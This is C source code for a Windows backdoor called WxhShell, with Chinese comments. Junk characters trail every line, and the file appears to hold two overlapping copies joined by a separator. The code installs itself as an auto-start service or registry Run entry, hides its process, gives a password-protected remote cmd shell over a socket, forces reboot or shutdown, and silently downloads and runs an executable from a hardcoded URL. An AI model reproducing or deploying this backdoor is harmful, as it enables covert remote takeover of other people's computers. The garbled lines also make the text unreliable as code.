    } ^.&uYF&  
  // 关机 uO>$,s  
  case 'd': { C[gCwDwl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -RVwPY  
    if(Boot(SHUTDOWN)) "2}04b|"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;FQAL@"Yj  
    else { *qj @y'1\  
    closesocket(wsh); 4Z"D F)+}  
    ExitThread(0); !m^;Apuy  
    } s\1h=V)!H  
    break; 7gfNe kr~W  
    } q-eC=!#}  
  // 获取shell k/=J<?h0  
  case 's': { .%<oy"_  
    CmdShell(wsh); X{P_HCd  
    closesocket(wsh); ez&v"J  
    ExitThread(0); Kjc"K36{L  
    break; \$T  
  } )t9<cJ=  
  // 退出 2PE|4zG  
  case 'x': { 'W3>lAPx!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _)O1v%]"4  
    CloseIt(wsh); 9xyj,;P>  
    break; +^Eruv+F  
    } ?P ,z^  
  // 离开 ;RB]awE  
  case 'q': { Uc>kCBCd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r#JE7uneT  
    closesocket(wsh); )9 5&-Hs  
    WSACleanup(); {'E%SIRZ)  
    exit(1); 1T!b# x4  
    break; 2HoTj|  
        } tm@&f  
  } hU3c;6]3  
  } L&MR%5  
WW\u}z.QJ  
  // 提示信息 =LDzZ:' X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @ U'g}K  
} G`9Ud  
  } *?Nrx=O*  
MzL^u8  
  return; |)* K#%j  
} f)l:^/WP+  
w&hgJ  
// shell模块句柄 Q4Zuz)r*  
int CmdShell(SOCKET sock)  #8MA+  
{ U748$%}]  
STARTUPINFO si; 8{#W F#  
ZeroMemory(&si,sizeof(si)); NE,2jeZQ.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <iuESeDG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )o;/*h%@  
PROCESS_INFORMATION ProcessInfo; iagl^(s  
char cmdline[]="cmd"; K PSFy<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >0Y >T6!  
  return 0; x :\+{-  
} ^.p({6H  
^90';ACFy  
// 自身启动模式 So{/V%  
int StartFromService(void) N9tH0  
{ x2=Bu#Y  
typedef struct x^Q:U1  
{ P}29wrIZ  
  DWORD ExitStatus; 8om6wALXB  
  DWORD PebBaseAddress; 7n9&@D3 :P  
  DWORD AffinityMask; ,dhJ\cQ~  
  DWORD BasePriority; L15?\|':Y  
  ULONG UniqueProcessId; nICc}U?k  
  ULONG InheritedFromUniqueProcessId; uf]S PG#/D  
}   PROCESS_BASIC_INFORMATION; <k!M+}a 9V  
#<s6L"Z-  
PROCNTQSIP NtQueryInformationProcess; 2 -72 8  
ukpbx;O:hc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [Ul"I-K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H C(Vu  
|tIr?nXSW3  
  HANDLE             hProcess; ug{@rt/"Z  
  PROCESS_BASIC_INFORMATION pbi; ~~a,Fyko2  
]$Pl[Vegy  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x? tC2L  
  if(NULL == hInst ) return 0; 1DgR V7  
WvR-0>E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \(2w/~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (hNTr(z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^MIF+/bQ  
:+NZW9_  
  if (!NtQueryInformationProcess) return 0; S "'0l S   
@&?E3?5ll  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5xC4lT/U  
  if(!hProcess) return 0; s!,m,l[P  
CX?q%o2b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3 9to5 s,  
"5 ;fuM1  
  CloseHandle(hProcess); w^z5O6   
,`PC^`0c}o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -{`8Av5)E%  
if(hProcess==NULL) return 0; \~ m\pf?  
dp#JvZb  
HMODULE hMod; 7f|8SB  
char procName[255]; ?lq  
unsigned long cbNeeded; lC/1,Z/M  
|_."U9!Z^  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8C]K36q  
)Tjh  
  CloseHandle(hProcess); @W}cM  
Q2yD4>qy  
if(strstr(procName,"services")) return 1; // 以服务启动 K8#MQR2@  
k%uR!cL  
  return 0; // 注册表启动 xfoQx_]$Im  
} p 4_j>JPv5  
~MWI-oK  
// 主模块 g>G+?PY  
int StartWxhshell(LPSTR lpCmdLine) m}A|W[p<  
{ TOapq9B]  
  SOCKET wsl; -p.c8B  
BOOL val=TRUE; ypU-/}Cf,  
  int port=0; p0*qv"lA  
  struct sockaddr_in door; 2[|52+zhc  
=mR~\R( I  
  if(wscfg.ws_autoins) Install(); z]_2lx2e  
5~D(jHY;  
port=atoi(lpCmdLine); ebno:)  
/2^"c+/'p  
if(port<=0) port=wscfg.ws_port; ]%M&pc3U  
<*JFY%y "  
  WSADATA data; /pY-how%!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GDF/0-/Z  
aeZ$Wu>]W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   pwvzs`[;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eH HY.^|  
  door.sin_family = AF_INET; (#kKL??W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Hjhgu=  
  door.sin_port = htons(port); &~mJ ).*  
'8J!(+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YRg"{[+#]k  
closesocket(wsl); <O Y (y#x  
return 1; [|".j#ZlK  
} srPczVG*  
U!d|5W.{Q  
  if(listen(wsl,2) == INVALID_SOCKET) { zh{,.c  
closesocket(wsl); {wy{L-X  
return 1; '9{`Czc(Gb  
} R2Es~T  
  Wxhshell(wsl); -pmb-#`M  
  WSACleanup(); Gj_7wP$  
^H"o=K8=  
return 0; &F- \t5X=i  
QPX&P{!g  
} cwuzi;f  
>``sM=Wat  
// 以NT服务方式启动 BG|m5f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \?v?%}x  
{ W4;/;[/L  
DWORD   status = 0; GCf,Gfmr  
  DWORD   specificError = 0xfffffff; vA3wn><  
dx@|M{jz'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Mj&G5R~_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c@3mfc{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =yF]#>Ah  
  serviceStatus.dwWin32ExitCode     = 0; :V3z`}Rl  
  serviceStatus.dwServiceSpecificExitCode = 0; za%gD  
  serviceStatus.dwCheckPoint       = 0; 8)lrQvZ  
  serviceStatus.dwWaitHint       = 0; apOXcZ   
xKR\w!+Z'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *b'4>U  
  if (hServiceStatusHandle==0) return; C@`rg ILc  
<Y]e  
status = GetLastError(); "uli~ {IU  
  if (status!=NO_ERROR) 7}:+Yx  
{ 1 |  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Brts ig,4  
    serviceStatus.dwCheckPoint       = 0; SJB^dI**/d  
    serviceStatus.dwWaitHint       = 0; (C;Q<  
    serviceStatus.dwWin32ExitCode     = status; Rh}}8 sv  
    serviceStatus.dwServiceSpecificExitCode = specificError; VV;%q3}:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [#=IKsO'R6  
    return; ZDG~tCh=@  
  } l`uI K.  
7fI2b,~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7nm'v'\u+V  
  serviceStatus.dwCheckPoint       = 0; ,,SV@y;  
  serviceStatus.dwWaitHint       = 0; hK,a8%KnFA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5cGQ`l  
} FnKC|X  
Fw\g\  
// 处理NT服务事件,比如:启动、停止 He,, bq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @R-11wP)M  
{ T>f6V 5  
switch(fdwControl) OlB9z  
{ dz?On\66  
case SERVICE_CONTROL_STOP: M8V c5  
  serviceStatus.dwWin32ExitCode = 0; h!@7'Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ollsB3]]  
  serviceStatus.dwCheckPoint   = 0; `Of D^Q=  
  serviceStatus.dwWaitHint     = 0; SJ91(K  
  { Q^;:Kl.b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JK`$/l|7  
  } u^G Y7gah  
  return; M^*\ $K%  
case SERVICE_CONTROL_PAUSE: e|?eY)_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2eHVl.C5  
  break; qu1+.z=|  
case SERVICE_CONTROL_CONTINUE: Uks%Mo9on  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RL:B.Lv/W  
  break; O6/:J#X%  
case SERVICE_CONTROL_INTERROGATE: ;yajt\a  
  break; /oW]? 9  
}; DK eB%k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iO&*WIbg  
} #i .,+Q  
U?an\rv  
// 标准应用程序主函数 Nc &J%a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %3O))Ug5  
{ -#v1/L/=  
x3g4r_  
// 获取操作系统版本 J/fnSy  
OsIsNt=GetOsVer();  IMr#5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); XmD(&3;v-  
?2l `%l5(  
  // 从命令行安装 {nXygg J  
  if(strpbrk(lpCmdLine,"iI")) Install(); Cdy,8*   
LPBa!fq  
  // 下载执行文件 Ui!l3_O  
if(wscfg.ws_downexe) { tAE(`ow/Ur  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m% 3D  
  WinExec(wscfg.ws_filenam,SW_HIDE); HdgNy\  
} `LNhamp  
"w$,`M?2  
if(!OsIsNt) { Y/6>OD  
// 如果时win9x,隐藏进程并且设置为注册表启动 `!t-$i  
HideProc(); 0^R, d M  
StartWxhshell(lpCmdLine); zz[fkH3  
} % YK xdp  
else ywl=@  
  if(StartFromService()) =6qTz3t  
  // 以服务方式启动 ^GAJ9AF@(  
  StartServiceCtrlDispatcher(DispatchTable); S.4+tf 7+  
else -uWV( ,|  
  // 普通方式启动 Xp_m=QQsm  
  StartWxhshell(lpCmdLine); ,cL;,YN  
5@%.wb4  
return 0; h}! 9?:E  
} 5VP0Xa ~  
;}iB9 Tl  
2cUT bRm  
/q+;!EM  
=========================================== ax>j3HKi  
5wmd[YL  
#GLW3}  
5?F5xiW  
t[J=8rhER  
e*qGrg(E  
" M,S'4Sz uk  
P woiX#vz  
#include <stdio.h> t))MZw&@  
#include <string.h> ;:j1FOj  
#include <windows.h> =qc+sMo  
#include <winsock2.h> hrtz>qN  
#include <winsvc.h> w8>h6x "  
#include <urlmon.h> ,5"(m?[m  
aUzCKX%>C  
#pragma comment (lib, "Ws2_32.lib") oWL_Hh%-f`  
#pragma comment (lib, "urlmon.lib") ?WHf%Ie2(  
C<AW)|r_  
#define MAX_USER   100 // 最大客户端连接数 ZaU8eg7  
#define BUF_SOCK   200 // sock buffer #kASy 2t  
#define KEY_BUFF   255 // 输入 buffer ?9a%g\`?:  
i4,p\rE0  
#define REBOOT     0   // 重启 3q}j"x?  
#define SHUTDOWN   1   // 关机 !}z'"l4i  
] re=8s6  
#define DEF_PORT   5000 // 监听端口 xsB0LUt  
.dk<?BI#H  
#define REG_LEN     16   // 注册表键长度 q6)fP4MQ]  
#define SVC_LEN     80   // NT服务名长度 jZzTnmm&?  
_yv#v_Z  
// 从dll定义API !*}UP|8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <kdlXS>J.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?}Zt&(#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); W\k8f+Ke  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '1:)q  
HKXC=^}x'  
// wxhshell配置信息 /@k#tdj  
struct WSCFG { o]4\Geg$  
  int ws_port;         // 监听端口 uy'seJ  
  char ws_passstr[REG_LEN]; // 口令 U_(>eVi7F  
  int ws_autoins;       // 安装标记, 1=yes 0=no NC%hsg^0/  
  char ws_regname[REG_LEN]; // 注册表键名 Z-Qp9G'   
  char ws_svcname[REG_LEN]; // 服务名 C)z4Cn9#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N! 7}B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L"|Bm{Run  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 tO 8\} u4c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Gv &G2^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^obuMQ;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9pqsr~  
Bi:lC5d5?  
}; din,yHu~  
Bzrnmz5S  
// default Wxhshell configuration Wr%ov6:  
struct WSCFG wscfg={DEF_PORT,  f\<r1  
    "xuhuanlingzhe", e4tIO   
    1, MqnUym  
    "Wxhshell", 0I)$!1~O)  
    "Wxhshell", /RxP:>hVv  
            "WxhShell Service", '\I(n|\  
    "Wrsky Windows CmdShell Service", 172G  
    "Please Input Your Password: ", 8|i'~BFHs  
  1, 4w^o !  
  "http://www.wrsky.com/wxhshell.exe", yV!4Im.>  
  "Wxhshell.exe" T+v*@#iJ_  
    }; WFOJg&  
HeAXZA,  
// 消息定义模块 dtC@cK/,D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~\_VWXXvIW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TlS? S+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B-Jd|UE`u  
char *msg_ws_ext="\n\rExit."; sgp.;h'  
char *msg_ws_end="\n\rQuit."; 'RMUjJ-!  
char *msg_ws_boot="\n\rReboot..."; WR)=VE   
char *msg_ws_poff="\n\rShutdown..."; ^)Hf%  
char *msg_ws_down="\n\rSave to "; &J6`Q<U!  
N&NBn(  
char *msg_ws_err="\n\rErr!"; }`B .(3n  
char *msg_ws_ok="\n\rOK!"; _]`7et\=  
@.e X8~3=  
char ExeFile[MAX_PATH]; >ou= }/<  
int nUser = 0; < '5~p$  
HANDLE handles[MAX_USER]; HY)xT$/J  
int OsIsNt; <: v+<)K  
8%7%[WC#  
SERVICE_STATUS       serviceStatus; @f-X/q]P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <?nIO  
`I5^zi8  
// 函数声明 =%X."i1A  
int Install(void); 0>sa{Z  
int Uninstall(void); c* {6T}VZr  
int DownloadFile(char *sURL, SOCKET wsh); %bDxvaftT  
int Boot(int flag); MxsLrWxm  
void HideProc(void); 9(N  
int GetOsVer(void); %#x4wi  
int Wxhshell(SOCKET wsl); $jN.yNm0  
void TalkWithClient(void *cs); 2I-d.{  
int CmdShell(SOCKET sock); o&?c,FwN  
int StartFromService(void); <b:%o^  
int StartWxhshell(LPSTR lpCmdLine); Hb=#`  
.11l(M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :jiuu@<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qVn<c,8#  
nje7?Vz  
// 数据结构和表定义 ,n/]ALz>~  
SERVICE_TABLE_ENTRY DispatchTable[] =  ,&hv x  
{ V.GM$  
{wscfg.ws_svcname, NTServiceMain}, !=dz^f.{  
{NULL, NULL} 1B~O!']N<  
}; >v:ex(y0  
ra$:ibLN  
// 自我安装 FU3K?A B  
int Install(void) .k,j64 r  
{ c{MoeIG)v@  
  char svExeFile[MAX_PATH]; V?u#WJy/  
  HKEY key; d&#_t@%  
  strcpy(svExeFile,ExeFile); v~nKO?{   
l00i2w  
// 如果是win9x系统,修改注册表设为自启动 b#6S8C+@  
if(!OsIsNt) { *G58t`]r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b>07t!;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f7=MgFi  
  RegCloseKey(key); YXA@ c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *)Rm X$v3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mn0.! J "  
  RegCloseKey(key); 2)f_L|o,m  
  return 0; _?c.m*)A  
    } VgH O&vU  
  } ,;g%/6X  
} P@7>R7gS  
else { <0CjEsAB]  
NHd@s#@  
// 如果是NT以上系统,安装为系统服务 #A/OGi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ")Fd'&58  
if (schSCManager!=0) ?@b6(f xX  
{ >yO/p(/;jR  
  SC_HANDLE schService = CreateService vzIo2 ,/7  
  ( <]rayUyaf  
  schSCManager, l/N<'T_G  
  wscfg.ws_svcname, ZJ/528Ju  
  wscfg.ws_svcdisp, J>Ar(p  
  SERVICE_ALL_ACCESS, /q9I^ztV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A,~3oQV  
  SERVICE_AUTO_START, 5|H;%T 3_  
  SERVICE_ERROR_NORMAL, ,!:c6F+  
  svExeFile, \*$^}8  
  NULL, $BwWQ?lp  
  NULL, hi8q?4jE  
  NULL, c!Hz'W  
  NULL, Bz]tKJ  
  NULL )4g_S?l=  
  ); t<!m4Yd|#  
  if (schService!=0) -"[4E0g0  
  { qezWfR`  
  CloseServiceHandle(schService); 6Og@tho  
  CloseServiceHandle(schSCManager); (?qCtLZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;(NTzBq!1  
  strcat(svExeFile,wscfg.ws_svcname); Z0<Vss  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,&o9\|ih7]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2/?Zp=|j\  
  RegCloseKey(key); !1$x4 qxS  
  return 0; 7<j!qWm0  
    } tia}&9;  
  } Ic/hVKYG5  
  CloseServiceHandle(schSCManager); J}V4.R5d  
} , 'pYR]3  
} L ]')=J+  
KXPCkNIN!  
return 1; i2qN 0?n  
} ?0Q3F  
;As~TGiT  
// 自我卸载 %S312=w  
int Uninstall(void) C @Ts\);^  
{ 3qWrSziD  
  HKEY key; Z518J46o  
QV[&2&&^<<  
if(!OsIsNt) { yX&# rI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0LQRQuh1  
  RegDeleteValue(key,wscfg.ws_regname); #}~tTL  
  RegCloseKey(key); 3! P^?[p3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7F"ljkN1S  
  RegDeleteValue(key,wscfg.ws_regname); 534pX7dg  
  RegCloseKey(key); 8{4'G$6  
  return 0; !@z9n\Yj  
  } fk}Raej g  
} @fd<  
} #aqnj+  
else { @[^ 3y C#  
eu(Fhs   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]5'*^rz ^  
if (schSCManager!=0) _c]}m3/  
{ =-dnniKW4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DFr$2Y3H  
  if (schService!=0) Jk.x^  
  { amsl>wc!  
  if(DeleteService(schService)!=0) { 11PL1zzH  
  CloseServiceHandle(schService); Vz mlKVE  
  CloseServiceHandle(schSCManager); %<yW(s9{  
  return 0; r`"_D%kc  
  } ev&l=(hY  
  CloseServiceHandle(schService); ]D6<6OB  
  } kH 9k<{  
  CloseServiceHandle(schSCManager); }w f8y  
} sX?arI=_U  
} ~D5 -G?%$"  
'&CZ%&(Gw  
return 1; 0hS&4nW  
} IR/S`HD_  
KE\>T:  
// 从指定url下载文件 oypLE=H  
int DownloadFile(char *sURL, SOCKET wsh) u8"s#%>N y  
{ |1wZ`wGZ:L  
  HRESULT hr; H [+'>Id:  
char seps[]= "/"; @;EQ{d  
char *token; ;8H&FsR  
char *file; i?_Q@uA~<:  
char myURL[MAX_PATH]; mLq0;uGL|  
char myFILE[MAX_PATH]; P~(&lu/;P  
:$Cm]RZ  
strcpy(myURL,sURL); i7H([b<_m  
  token=strtok(myURL,seps); k2Q[v  
  while(token!=NULL) R5sEQ| E  
  { (0`rfYv5.R  
    file=token; puOMtCI  
  token=strtok(NULL,seps); #7fOH U8v  
  } x.gzsd  
|mhKD#:  
GetCurrentDirectory(MAX_PATH,myFILE); oX6C d:c-  
strcat(myFILE, "\\"); >uCO=T,|  
strcat(myFILE, file); D u<P^CE  
  send(wsh,myFILE,strlen(myFILE),0); ~Dg:siw  
send(wsh,"...",3,0); @.e4~qz\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 42 `Uq[5Y  
  if(hr==S_OK) iu{y.}?  
return 0; py$Gy-I~[  
else GUQ3XF\  
return 1; ]`-o\,lq  
0Cc3NNdz  
} o=VZ7]  
;$eY#ypx  
// 系统电源模块 '(lsJY[-x  
int Boot(int flag) OBFM70K  
{ H~[q<ybxr  
  HANDLE hToken; ~U<j_j)z4.  
  TOKEN_PRIVILEGES tkp; n_sV>$f-u  
aR6~r^jB  
  if(OsIsNt) { ""`z3-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c%<81Y=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S*r }oX0  
    tkp.PrivilegeCount = 1; dhLd2WSyH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; # wn>S<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aaVq>$G 3  
if(flag==REBOOT) { G>dXK,f<B0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m<Gd 6V5  
  return 0; "P5,p"k:)  
} :Nz TEK  
else { %m|BXyf]_B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @>`N%wH'  
  return 0; FkMM>X  
} J;fbE8x  
  } 6T"5,Q</h  
  else { FkaQVT  
if(flag==REBOOT) { <a CzB7x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *4 m]UK  
  return 0; iLdUus!  
} x+sSmW  
else { C B;j[.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !rx5i  
  return 0; nJH'^rO!C  
} N]BH67<  
} `34+~;;Jh  
af'ncZ@U  
return 1; ]_>38f7h  
} iR4"I7J  
TbqtT_{  
// win9x进程隐藏模块 jxK `ShW=  
void HideProc(void) \hJLa  
{ M7DoAS{6e  
rp ]H&5.*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *R&77 o7  
  if ( hKernel != NULL ) Vl7V?`_4  
  { ^(*eoe  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )x5w`N]lm  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RG1#\d-fE  
    FreeLibrary(hKernel); 3&X5*-U  
  } 'fb&3  
]<},[s  
return; q:_-#u  
} s_u! RrC  
gd)VL}k  
// 获取操作系统版本 gYL#} )g  
int GetOsVer(void) &S^a_L:  
{ H8c -/  
  OSVERSIONINFO winfo; y_IF{%i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BQMo*I>I  
  GetVersionEx(&winfo); q|.0Ja  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @M*5q# s  
  return 1; ud(w0eX  
  else enMHKN g  
  return 0; Zf)<)o*  
} >wV2` 6  
-P]onD  
// 客户端句柄模块 O|;|7fCB\  
int Wxhshell(SOCKET wsl) 6%VRQ#g!  
{ :2L-Nf  
  SOCKET wsh; 7r3EMX\#Qm  
  struct sockaddr_in client; <l)I% 1T_c  
  DWORD myID; "jq F  
>+BLD  
  while(nUser<MAX_USER) Kn+B):OY+  
{ Xp^71A?>  
  int nSize=sizeof(client); btf]~YN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bmC{d  
  if(wsh==INVALID_SOCKET) return 1; l%cE o`U  
yV@~B;eW0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); xqVIw!J?/}  
if(handles[nUser]==0) ;>p{|^X0D  
  closesocket(wsh); uoY]@.  
else Nrp1`qY  
  nUser++; Yv;iduc('  
  } 6r5<uZ9w_X  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &-.2P!t  
! "^//2N+,  
  return 0; 9(9\kQj{C  
} 7baQ4QY?n  
y#{> tC  
// 关闭 socket &W y9%  
void CloseIt(SOCKET wsh) 2)`4(38  
{ 0o!Egq_  
closesocket(wsh); "CQ:<$|$  
nUser--; 3}?]G8iL?L  
ExitThread(0); ue6&)7:~  
} *Q3q(rdrp  
gDsb~>rb|  
// 客户端请求句柄 sU?%"q  
void TalkWithClient(void *cs) nrZZkQNI  
{ vB/G#\Zqz  
9<!Ie^o?  
  SOCKET wsh=(SOCKET)cs; )e\IdKl=  
  char pwd[SVC_LEN]; XgZ.UT  
  char cmd[KEY_BUFF]; 9&KiG* .  
char chr[1]; /`B:F5r  
int i,j; y}lqF8s  
8z"*CJ@  
  while (nUser < MAX_USER) { 7gbu7"Qc  
Pu|3_3^  
if(wscfg.ws_passstr) { 7N fA)$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *p%=u>?&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xcl8q:  
  //ZeroMemory(pwd,KEY_BUFF); TqXB2`7Ri  
      i=0; t'Pn*  
  while(i<SVC_LEN) { =I9RM9O<  
n#5%{e>  
  // 设置超时 QK/~lN  
  fd_set FdRead; n|I5ylt  
  struct timeval TimeOut; [[0u|`T/  
  FD_ZERO(&FdRead); $> PV6  
  FD_SET(wsh,&FdRead); h.h\)>DM@  
  TimeOut.tv_sec=8; | Xk>a7X  
  TimeOut.tv_usec=0; odpjEeQC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vZt48g  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QPpC_pZh  
ZC:7N{a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h}jE=T5Hc  
  pwd=chr[0]; 0)-yLfTn  
  if(chr[0]==0xd || chr[0]==0xa) { Sy`7})[  
  pwd=0; CrI:TB>/ "  
  break; },G5!3  
  } Tf?|*P  
  i++; .qk_m-o  
    } OuF%!~V   
7^Q4?(A  
  // 如果是非法用户,关闭 socket c'~6 1HA<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UB1/0o  
} La'XJ|>V  
?Q%X,!~ \:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0T7""^'&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gCY%@?YyN  
ify}xv  
while(1) { Mu]1e5^]  
`Kq4z62V  
  ZeroMemory(cmd,KEY_BUFF); _"0Bg3Y  
+(3U_]Lu  
      // 自动支持客户端 telnet标准   K.K=\ Y2  
  j=0; $4a;R I  
  while(j<KEY_BUFF) { DNl '}K1W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o& "nF+,  
  cmd[j]=chr[0]; aoVfvz2Y  
  if(chr[0]==0xa || chr[0]==0xd) { xRM)f93@  
  cmd[j]=0; g/6>>p`J  
  break; =Hwlo!  
  } `z{sDe;  
  j++; '&hk?  
    } 3=~0m  
8%D 2G i  
  // 下载文件 *Z,?VEO  
  if(strstr(cmd,"http://")) { NvqIYW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \_J;i[  
  if(DownloadFile(cmd,wsh)) a8laP N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~*Kk+w9H<  
  else ;HbAk`\1A  
